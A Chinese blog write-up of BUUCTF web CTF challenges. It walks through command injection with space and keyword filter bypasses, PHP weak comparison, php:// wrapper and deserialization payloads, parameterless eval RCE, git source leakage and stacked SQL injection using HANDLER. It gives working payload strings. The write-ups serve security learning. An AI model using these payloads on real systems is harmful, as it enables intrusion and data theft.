BUUCTF WEB-WP(3)
BUUCTF WEB
- 几道
web做题的记录
[ACTF2020 新生赛]Exec
知识点:exec命令执行
- 这题最早是在一个叫中学生
CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬中学时就开始学技术了,自己当时还在和泥巴( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///)) - 言归正传,这题其实就是一个
exec的命令执行,直接ip & cmd就可以执行多条命令,这里由于什么过滤都没有,所以直接127.0.0.1 & ls /先遍历一下根目录,发现flag,然后直接127.0.0.1 & cat /flag即可

[ACTF2020 新生赛]BackupFile
知识点:PHP弱类型,备份文件
- 首先提示要去找源码,所以尝试找备份文件
/index.php.bak,遂发现源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
- 这里要求首先要设置
GET传一个参数key,并且key要是数字,最后判断key == str就返回flag,我们可以发现这里的比较是用的==也就是弱类型比较,它在处理数字和字符串的时候,会先进行类型转化后在比较,也就是说对于一个string会被转成int,而且若这里的string是一个数字字母的组合,且以数字开头的,在转换时会把数字后的字符去除,也就是说这里的str会直接被当成123处理,所以我们只要给key赋值为123即可

##[GXYCTF2019]Ping Ping Ping
知识点:命令执行变量拼接,内联执行
- 这题和第一个类似,都是
exec的多语句执行,不过这题的过滤就有点多了 - 首先还是尝试直接
ip之后加上ls查看,发现有index.php flag.php两个文件 - 在尝试读取
flag时发现其中flag还有空格以及/都被过滤,所以尝试读取index.php发现源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
- 这里不仅过滤了那三样,还限制不允许使用
bash,对于这个我们可以尝试使用sh也可以同样进行操作 - 对于空格被过滤,我们可以尝试使用
$IFS$1或者分号代替 - 对于
flag的过滤,我们可以先对其base64编码后在读取,所以最终课构造payload如下
/?ip=127.0.0.1;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
- 此外还可以尝试变量拼接读取
/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

[ZJCTF 2019]NiZhuanSiWei
知识点: data伪协议,php反序列化,文件包含读取文件内容
- 直接给出了源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 第一层:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),这里要绕过file_get_contents()函数要使text内容是welcome to the zjctf,在前不久的MRCTF的套娃一题中见到过,需要用data://伪协议绕过 - 所以
text=data://text/plain,welcome to the zjctf - 第二层:要使用
file读取文件,但是不能直接读取flag.php,这里他给出了useless.php的提示,所以我们尝试读取他的内容(ps.PHP文件内容无法直接读取,所以我们要使用php://filter伪协议来读取) - 所以
file=php://filter/read=convert.base64-encode/resource=useless.php,读取到源码如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
- 第三层:
$password = unserialize($password);,设置了一个password,涉及到反序列化,我们看到useless.php中的源码显示会直接读取file中内容,所以直接给file赋值flag.php,即可得到最终flag
<?php
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- 所以
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} - 最终
payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[极客大挑战 2019]BuyFlag
知识点:php弱类型,科学记数法
- 发现提示说要是
Cuiter才可以pay,遂查看cookie,发现value为0,尝试改为1,提示要输入密码 - 打开
pay.php页面查看源码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
- 发现
password这里首先要使其不为数字,而后又要其等于404,并且这里的比较是==,显然是弱类型,所以考虑使用字符串绕过,password=404asd - 发现要求设置
money,于是考虑money=100000000,却发现提示长度超出,遂考虑使用科学记数法,money=1e10,获得flag

[GXYCTF2019]禁止套娃
知识点:无参数RCE,git源码泄露
githack下载源码
python GitHack.py http://eb80dbe4-c6d9-47d5-8f5d-7ab84b47173b.node3.buuoj.cn/.git- 源码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
- 设置要
GET一个exp并且要以分号结尾,无法使用一些常用的伪协议读取文件,并且还禁用了一些常用函数 - 我们这里首先还是要尝试遍历一下目录,查看一下
flag文件的位置 - 这里并未禁用
scandir()函数,所以我们要尝试去构造scandir('.')来遍历一下目录,这里参考了一下网上WP,发现可以使用current(localeconv())函数 current()函数作用是返回数组中的当前元素的值,默认返回第一个,而localeconv()函数作用是返回包含本地数字及货币格式信息的数组,第一项就是'.'

- 这样我们就完成第一步,可以查看到目录文件信息
?exp=print_r(scandir(current(localeconv())));

- 发现
flag.php文件,接下我们就要尝试去读取它的文件内容,这里由于flag.php是倒数第二个元素,如何才能读取到倒数第二个呢?我们可以尝试用array_reverse()函数先将数组倒置,这样flag.php就成了第二个元素,然后再使用next()函数指向首个的下一个,就完成指向flag.php了
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

- 最后就是直接用
readfile()函数读取文件内容即可,最终payload如下
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

- 看网上还有师傅使用
array_filp()先交换键值,然后使用array_rand()随机返回元素,读取flag,学到新姿势,记录一下,payload如下
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
[GYCTF2020]Blacklist
handler查询,堆叠注入
- 和强网杯的那个随便注类似,首先尝试查看表
1';show tables;#

- 看到字段
FlagHere,尝试读取其内容,这里用到了一个handler代替select查询,详细内容可以看一下这篇文章
https://xz.aliyun.com/t/7169#toc-47 - 大致介绍一下要用到的语句
handler FlagHere open as f;重命名FlagHere数据表为fhandler f read first;读取f的首行字段handler f close;关闭句柄- 所以最终使用堆叠注入构造
payload
1';handler FlagHere open as f;handler f read first;handler f close;#

BUUCTF WEB-WP(3)的更多相关文章
- buuctf misc wp 01
buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...
- buuctf misc wp 02
buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...
- BUUCTF WEB
BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
- ISCC的 Web——WP
比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...
- 实验吧—Web——WP之 Forms
我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...
- 到处抄来的SUCTF2019 web wp
0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...
- buuctf—web—高明的黑客
打开靶机,看到如下界面 于是打开www.tar.gz 下载后发现是一个放有大量php文件的文件夹 看了大佬的wp后明白了是fuzzing 附上大佬的脚本 import os import re imp ...
- buuctf—web—Easy Calc
启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery, ("# ...
随机推荐
- RF(控制台及日志输出中文乱码)
1.查看 ride 版本,我这里是 RIDE 1.7.4.1 running on Python 3.6.0. 2.修改文件 D:\python3.6\Lib\site-packages\roboti ...
- UTC 时间转化为北京时间
// UTC 时间转化为北京时间 function utc2beijing(utcTime) { var T_pos = utcTime.indexOf('T'); var Z_pos = utcTi ...
- centos下的redis一键安装shell脚本
#!/bin/bash yum install cpp binutils glibc-kernheaders glibc-common glibc-devel gcc make wget #安装依赖库 ...
- 【Redis】跳跃表原理分析与基本代码实现(java)
最近开始看Redis设计原理,碰到一个从未遇见的数据结构:跳跃表(skiplist).于是花时间学习了跳表的原理,并用java对其实现. 主要参考以下两本书: <Redis设计与实现>跳表 ...
- [译]ANDROID 11: BETA 计划
当我们开始计划 Android 11 的时候,我们没有预料到这些变化会发生在我们所有人身上,几乎遍及世界上的每一个地区. 这些挑战要求我们保持灵活性,寻找新的合作方式,特别是与我们的开发者社区合作. ...
- 数据结构之递归Demo(走迷宫)(八皇后)(汉诺塔)
递归 顾名思义,递归就是递归就是递归就是递归就是递归......就是递归 Google递归:
- HDU 3038 (向量图解)
题意:\(有n个人坐在zjnu体育馆里面,然后给出m个他们之间的距离, A B X, 代表B的座位比A多X.\) \(然后求出这m个关系之间有多少个错误,所谓错误就是当前这个关系与之前的有冲突\) \ ...
- 读CSV文件并写arcgis shp文件
一.在这里我用到的csv文件是包含x,y坐标及高程.降雨量数据的文件.如下图所示. 二.SF简介 简单要素模型(Simple Feature,SF),是 OGC 国际组织定义的面向对象的矢量数据模型. ...
- HDU-6030 Happy Necklace 打表+矩阵快速幂
Happy Necklace 前天个人赛规律都找出来了,n的范围是\(10^{18}\),我一想GG,肯定是矩阵快速幂,然后就放弃了. 昨天学了一下矩阵快速幂. 题意 现在小Q要为他的女朋友一个有n个 ...
- [hdu2594]kmp水题
题意:求最长的a的前缀同时满足是b的后缀,把a,b连在一起,kmp跑一下,迭代next直到长度小于等于a,b长度的最小值为止,即为答案. #pragma comment(linker, "/ ...